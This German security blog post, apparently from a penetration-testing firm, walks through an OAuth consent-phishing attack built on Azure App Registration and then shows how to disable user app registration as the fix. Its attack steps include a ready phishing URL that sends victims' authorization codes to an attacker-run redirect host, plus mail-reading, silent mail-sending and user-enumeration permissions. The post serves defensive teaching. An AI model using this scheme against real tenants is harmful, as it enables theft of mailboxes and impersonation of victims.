So nutzen Hacker die Azure App Registration aus

Sollten Standard-Nutzer in deinem Tenant eine Azure App Registration durchführen dürfen? Die Antwort ist ganz klar “Nein” und dieser Artikel zeigt anschaulich, warum. Ansonsten genügt Angreifern ein einziger kompromittierter Standard-Account, um ihre Rechte enorm zu erweitern und sich Zugriff auf persönliche E-Mails zu verschaffen. Wir stellen zunächst ein realistisches Angriffs-Szenario über die Azure App Registration vor und erklären dann, mit welcher einfachen Maßnahme du dich davor schützen kannst.

Wenn du dich zunächst grundsätzlich über Microsoft Entra (ehem. Azure AD) informieren möchtest, findest du alle Basics in unserem Grundlagenartikel Was ist Microsoft Entra (ehem. Azure) mit vielen anschaulichen Screenshots. Weiterführende Artikel zu Angriffen und Schutzmöglichkeiten findest du hier:

Inhaltsverzeichnis

Wozu dient die Azure App Registration normalerweise?

Die Microsoft Azure App Services sind eine vielseitige Plattform, über die Entwickler moderne Webanwendungen einfach betreiben können. Obwohl der Name “App Services” vielleicht an herkömmliche Apps denken lässt, handelt es sich in Wirklichkeit um einen sogenannten Platform as a Service (PaaS) Cloud-Dienst von Microsoft, der ein breites Spektrum an Möglichkeiten bietet. Die App Services besteht aus vier Haupt-Services:

  • Web Apps
  • API Apps
  • Mobile Apps
  • Logic Apps

Die ersten drei Services sind eng miteinander verwandt und unterscheiden sich nur in kleinen Details. Sie ermöglichen es Entwicklern, Webanwendungen, API-Dienste und mobile Apps in der Cloud zu hosten und zu betreiben. Der vierte Service, “Logic Apps”, stellt eine innovative Methode dar, Workflows zu erstellen und zu verwalten, ohne dass umfangreiche Entwicklerkenntnisse erforderlich sind. Mit “Logic Apps” können Entwickler deklarative Workflows erstellen, die automatisierte Abläufe zwischen verschiedenen Diensten und Anwendungen ermöglichen. Damit Entwickler den PaaS Cloud-Dienst von Microsoft für ihre Anwendung nutzen können, müssen sie eine Azure App Registration durchführen. In den Standard-Einstellungen ist dies für jeden normalen Benutzer eines Entra/ Azure Tenant möglich. Das stellt ein unnötiges Sicherheitsrisiko dar, wie wir im folgenden Abschnitt zeigen werden.

Angriff auf Entra/ Azure Tenant über Azure App Registration

Die App Registrierung ist ein Weg, um sich einen Zugriff auf ein Azure Portal zu sichern. Um dies durchzuführen, benötigen wir folgende Voraussetzungen:

  • Zugangsdaten zum Azure Tenant als nicht-privilegierter Benutzer
  • Azure Tenant in der Standardkonfiguration (nicht gehärtet)

Nun werden wir einmal die Vorgehensweise als Angreifer durchgehen:

1. Schritt: Anmeldung bei kompromittiertem Account

Zunächst melden wir uns bei Entra/ Azure mit unserem kompromittiertem Nutzer an.
Azure App Registration – Anmeldefenster Azure
Anmeldung bei kompromittiertem Entra/ Azure Account

2. Schritt: Azure App Registration im Tenant des kompromittierten Accounts

Als nächstes führen wir eine Azure App Registration im Tenant durch (Der Name der App erscheint im Phishing während der Anfrage der Berechtigungen beim Opfer).

Azure App Registration – Menü App-Registrierungen
Azure App Registration

Bei der Azure App Registration wählen wir die Option “Konten in einem beliebigen Organisationsverzeichnis”.

Azure App Registration – Untermenü Anwendung registrieren
Beim Punkt “Unterstützte Kontotypen” wählen wir “Konten in einem beliebigen Organisationsverzeichnis”.

Dann legen wir eine Umleitungs-URI an. Unter dieser URL stellen wir als Angreifer einen oAuth-Server bereit.

Azure App Registration – Umleitungs-URI anlegen
Wir legen eine Umleitungs-URI an, um Credentials über einen oAuth-Server abzufangen.

3. Schritt: App-Einstellungen anpassen

Nach der Azure App Registration nehmen wir folgende Einstellungen an der App vor:
Unter “Zertifikate & Geheimnisse” generieren wir einen geheimen Client-Schlüssel.

Azure App Registration – Menü Zertifikate & Geheimnisse
Im Menü “Zertifikate & Geheimnisse” generieren wir einen geheimen Client-Schlüssel.

Nun müssen wir unter “API-Berechtigungen” die notwendigen Berechtigungen bei “Microsoft Graph” setzen:

  • Delegierte Berechtigung: „App“ läuft im Benutzerkontext, hierbei ist keine Administrator-Einwilligung notwendig.
  • Anwendungsberechtigung: „App“ darf im Hintergrund laufen, jedoch ohne Benutzerkontext, hier ist eine Administrator-Einwilligung notwendig.
  • Wir müssen darauf achten, nicht zu viele Berechtigungen setzen, da diese bei unserem Opfer während der Berechtigungsanfrage aufgelistet werden.


So könnte eine beispielhafte Konfiguration aussehen:

Azure App Registration – Menü API-Berechtigungen
Im Menü “API-Berechtigungen” setzen wir einige notwendige Berechtigungen bei Microsoft Graph.

Zuletzt müssen wir unter “Authentifizierung” die Regel “Öffentliche Clientflows Zulassen” auf “Ja” setzen, um die Delegierten Berechtigungen auf einem externen oAuth-Server laufen lassen zu können:

Azure App Registration – Menü Authentifizierung
Im Menü “Authentifizierung” lassen wir öffentliche Clientflows zu.

4. Schritt: Phishing-Link erstellen & versenden

Nach dem Einrichten der App erstellen wir einen Phishing-Link mit folgenden Parametern:

				
					'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?'
- 'client_id=<App-ID aus “Übersicht”> &'
- 'response_type=code &'
- 'redirect_uri=<URL des oAuth-Servers> &'
- 'response_mode=query &'
- 'scope=<Notwendige App-Berechtigungen> &'
- 'stat=12345'
				
			
Das Ergebnis sieht wie folgt aus:
				
					 https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=96d16e72-3484-4aac-8377-12799fe0c9d8&response_type=code&redirect_uri=https://app.secure-handler.de&response_mode=query&scope=email%20mail.read%20mail.send%20openid%20profile%20user.read%20user.readbasic.all&stat=12345
				
			

Der Grund für die Erstellung des Phishing-Links besteht darin, dass der erstellte Link nach keiner “verdächtigen” URL aussieht. Unser Opfer sieht somit einen regulären und legitimen Microsoft Login und kann sich mit seinen validen Zugangsdaten bei Microsoft anmelden.

Anschließend können wir den Phishing-Link per Mail versenden.

Sobald ein Opfer in die Falle getappt ist, erscheint bei ihm diese Meldung, die zum Akzeptieren der Berechtigungen auffordert:

Azure App Registration – Ansicht Phishing-Link
Unsere Phishing-Opfer werden zum Akzeptieren der Berechtigungen aufgefordert.

5. Schritt: Access-Token abfangen

Wenn ein Opfer die Berechtigungen akzeptiert und sich anmeldet, folgt eine Weiterleitung auf den von uns bereitgestellten oAuth-Server. Hier wird der Access-Token abgefangen.

Azure App Registration – Access-Token über oAuth-Server abfangen
Der Access-Token eines Phishing-Opfers wird über den oAuth-Server abgefangen.

5. Schritt: Abgefangenen Access-Token nutzen

Schließlich können wir den abgefangenen Access-Token verwenden, um uns im Benutzerkontext unseres Opfers mit den Delegierten Berechtigungen der App zu authentifizieren.

Denkbare Berechtigungen für ein realistisches Angriffs-Szenario wären:

  1. Mail.Read: Hiermit ist es möglich, die E-Mails des Opfers zu lesen.
  2. Mail.Send: Dies ermöglicht es dem Angreifer, eine E-Mail im Namen des Opfers zu versenden. Hierbei ist es sogar möglich, das Ablegen der Mails in “Gesendete Objekte” zu verhindern!
  3. User.ReadBasic.All: Ermöglicht es dem Angreifer, alle Benutzer des Tenants zu enumerieren.
Azure App Registration – Anrgiffsszenario mit Mail.Read
Mit der Berechtigung Mail.Read können wir die E-Mails des Opfers lesen.
Azure App Registration – Anrgiffsszenario mit User.ReadBasic.All
Mit der Berechtigung Mail.Send können wir E-Mails im Namen des Opfers versenden – sogar ohne dass diese im “Gesendet”-Ordner erscheinen.
Azure App Registration – Angriffsszenario mit Mail.Send
Mit der Berechtigung User.ReadBasic.All können wir alle Benutzer des Tenants enumerieren.

Zusammengefasst haben wir durch das hier dargestellte Angriffs-Szenario das zuvor kompromittierte Konto eines normalen Nutzers eines Tenants verwendet, um an zahlreiche weitere Berechtigungen und Informationen zu gelangen. Hierfür haben wir die Azure App Registration genutzt, die in den Standard-Einstellungen für alle Nutzer frei zur Verfügung steht.

Im folgenden Abschnitt zeigen wir, wie du einen solchen Angriff in 3 einfachen Schritten verhindern kannst.

Bist du unsicher, ob dein Active Directory sicher konfiguriert ist?
Wir finden es für dich heraus, damit du Schwachstellen effizient schließen kannst!
Zum Penetrationstest

So schützt du dich vor einem Angriff über die Azure App Registration

Es ist ratsam, die Registrierung von selbst entwickelten Anwendungen nur einem Administrator zu gestatten. Dadurch wird sichergestellt, dass diese Anwendungen einem formellen Sicherheitsüberprüfungs- und Genehmigungsprozess unterzogen werden, bevor sie Zugriff auf Azure Active Directory-Daten erhalten.

In bestimmten Fällen kann es sinnvoll sein, bestimmten Benutzern wie Entwicklern oder anderen Anwendern mit hohen Anforderungen Berechtigungen zu übertragen, um lange Wartezeiten auf einen administrativen Benutzer zu vermeiden. Es ist wichtig, dass Richtlinien überprüft und die spezifischen Bedürfnisse festlegt werden, um eine angemessene Zugriffssteuerung zu gewährleisten.

Daher empfehlen wir, normalen Benutzern das Registrieren von Apps zu untersagen. Dies kann in folgenden 3 Schritten im Azure Portal eingestellt werden:

  1. Azure Active Directory auswählen
  2. In der Rubrik “Benutzer” auf “Benutzereinstellungen” gehen
  3. Den Regler “Benutzer können Anwendungen registrieren” auf “Nein” stellen
Azure App Registration – sichere Einstellung für normale Benutzer
Benutzereinstellungen sicher konfigurieren: Normale Benutzer sollten keine Anwendungen registrieren dürfen.

Fazit: Behalte die Azure App Registration dem Administrator vor

In unserem realistischen Angriffs-Szenario haben wir gezeigt, warum die Azure App Registration dem Administrator eines Tenants vorbehalten sein sollte. Ansonsten können Angreifer ihre Rechte über einen einzigen kompromittierten Account in wenigen Schritten enorm ausweiten.

Dies erreichen Angreifer, indem sie über den kompromittierten Account eine App mit bestimmten Einstellungen registrieren, einen Phishing-Link erstellen und diesen an potenzielle weitere Opfer senden. Wenn Nutzer über diesen Link den eingestellten Berechtigungen zustimmen und ihre Zugangsdaten eingeben, fangen die Angreifer diese über einen oAuth-Server ab. Dadurch können sie beispielsweise E-Mails im Namen der Opfer versenden oder alle anderen Nutzer des Tenants enumerieren.

Um einen solchen Angriff zu verhindern, sind nur wenige Klicks im Microsoft Entra Admin Center notwendig: Lege einfach fest, dass Benutzer standardmäßig keine eigenen Anwendungen registrieren dürfen. Ausnahmen können beispielsweise für Entwickler sinnvoll sein.

Willst du mehr über Techniken beim Penetration Testing lernen?
Informiere dich über unsere Zertifikatslehrgänge mit eingenem Hacking-Lab!
Ethical Hacker Courses
ANDERE BEITRÄGE

Inhaltsverzeichnis

Hast du Fragen oder Ergänzungen? Immer her damit!
Schreibe einen Kommentar und wir antworten so bald wie möglich!

Dein E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.